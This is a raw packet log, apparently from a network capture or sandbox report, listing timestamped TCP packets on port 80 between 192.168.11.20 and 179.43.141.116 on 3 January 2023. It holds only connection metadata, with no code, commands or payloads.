                                                                              Jan 3, 2023 08:16:00.027304888 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027352095 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.027359962 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027412891 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027472019 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027482033 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.027525902 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027560949 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.027580023 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027637959 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027693987 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027707100 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.027748108 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027786016 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.027802944 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027859926 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027913094 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.027940989 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.027968884 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.028027058 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.028068066 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.028080940 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.028116941 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.028135061 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.028194904 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.028223991 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.028248072 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.028301001 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.028362036 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.028434038 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.028507948 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.034576893 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.034734964 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.034898043 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.034990072 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.035046101 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.035100937 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.035161018 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.035177946 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.035247087 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.085733891 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.111232042 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.111265898 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.111401081 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.111736059 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.111865997 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.111907005 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.111947060 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.111979961 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112001896 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112020016 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.112021923 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112042904 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112062931 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112083912 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112108946 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112108946 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.112108946 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.112131119 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112152100 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112157106 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.112171888 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112193108 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112212896 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112234116 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112253904 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112261057 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.112279892 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112299919 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112341881 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112361908 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.112365007 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112386942 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112406969 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112409115 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.112427950 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112452030 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112472057 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112477064 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.112478018 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.112492085 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112513065 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112533092 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112552881 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112574100 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112575054 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.112593889 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112621069 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112642050 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.112701893 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.112782955 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.112832069 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.112880945 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.113895893 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.114089966 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.114181042 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.114212990 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.114233971 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.114254951 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.114276886 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.114314079 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.114449024 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.114449024 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.177469015 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.177501917 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.177725077 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.179341078 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179373980 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179395914 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179416895 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179438114 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179457903 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179478884 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179498911 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179521084 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179544926 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179552078 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.179565907 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179579020 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.179579020 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.179586887 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179608107 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179627895 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179649115 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179693937 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.179735899 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179758072 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179779053 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179796934 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.179799080 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179820061 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179841042 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179861069 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179888964 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179903984 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.179904938 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.179909945 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179929972 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179950953 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179970980 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.179991007 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.180011988 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.180011034 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.180011034 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.180032015 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.180037022 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.180056095 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.180077076 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.180083036 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.180098057 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.180119038 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.180157900 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.180157900 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.180157900 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.180179119 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.180254936 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.180314064 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.180519104 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.180546045 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.180572033 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.180593014 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.180613995 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.180634975 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.180661917 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.180710077 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.180758953 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.258285046 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.258318901 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.258518934 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.261046886 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261107922 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261132002 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261282921 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.261291981 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261321068 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261343002 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261363029 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261383057 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261404037 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261426926 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261442900 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.261447906 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261468887 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261488914 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261509895 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261518955 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.261518955 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.261531115 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261552095 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261571884 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261596918 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261617899 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261626959 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.261651039 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.261670113 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261691093 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261712074 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261732101 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261732101 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.261732101 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.261756897 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261778116 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261799097 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261818886 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261838913 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261840105 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.261859894 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261879921 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.261914968 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.261914968 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.261941910 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.262082100 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.262166023 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.262193918 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.262214899 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.262234926 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.262257099 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.262279987 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.262300014 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.262320042 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.262325048 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.262341976 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.262350082 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.262362957 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.262383938 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.262404919 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.262425900 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.262432098 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.262432098 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.262451887 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.262536049 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.262609959 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.332463980 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.332490921 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.332737923 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.340439081 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.340527058 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.340584040 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.340646029 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.340704918 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.340729952 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.340759039 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.340781927 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.340818882 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.340873003 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.340924978 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.340938091 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.340982914 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341038942 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341064930 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.341090918 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341114044 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.341146946 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341203928 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341257095 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341274977 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.341310024 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341340065 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.341370106 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341423035 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341475010 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341511965 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.341533899 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341561079 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.341588020 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341639996 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341670990 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.341700077 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341753006 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341804981 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341851950 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.341871977 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341908932 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.341926098 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.341979980 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.342072010 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.342120886 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.342215061 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.342561007 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.342617989 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.342670918 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.342730045 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.342761993 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.342783928 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.342838049 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.342899084 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.342916965 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.342916965 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.342952013 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.343003988 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.343063116 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.343099117 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.343116045 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.343147993 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.343168974 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.343228102 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.343280077 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.343297005 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.343333960 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.343375921 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.343398094 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.343533993 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.398132086 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.414423943 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.414447069 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.414664030 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.417783976 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.417807102 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.417897940 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.417917013 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.417932987 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.417948008 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.417963028 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.417968988 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.417980909 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.417996883 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418011904 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418025970 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418040991 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418056011 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418068886 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418071032 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418068886 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418086052 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418090105 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418101072 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418114901 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418129921 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418145895 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418165922 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418296099 CET4986780192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:00.418354988 CET8049867179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:00.418374062 CET8049867179.43.141.116192.168.11.20
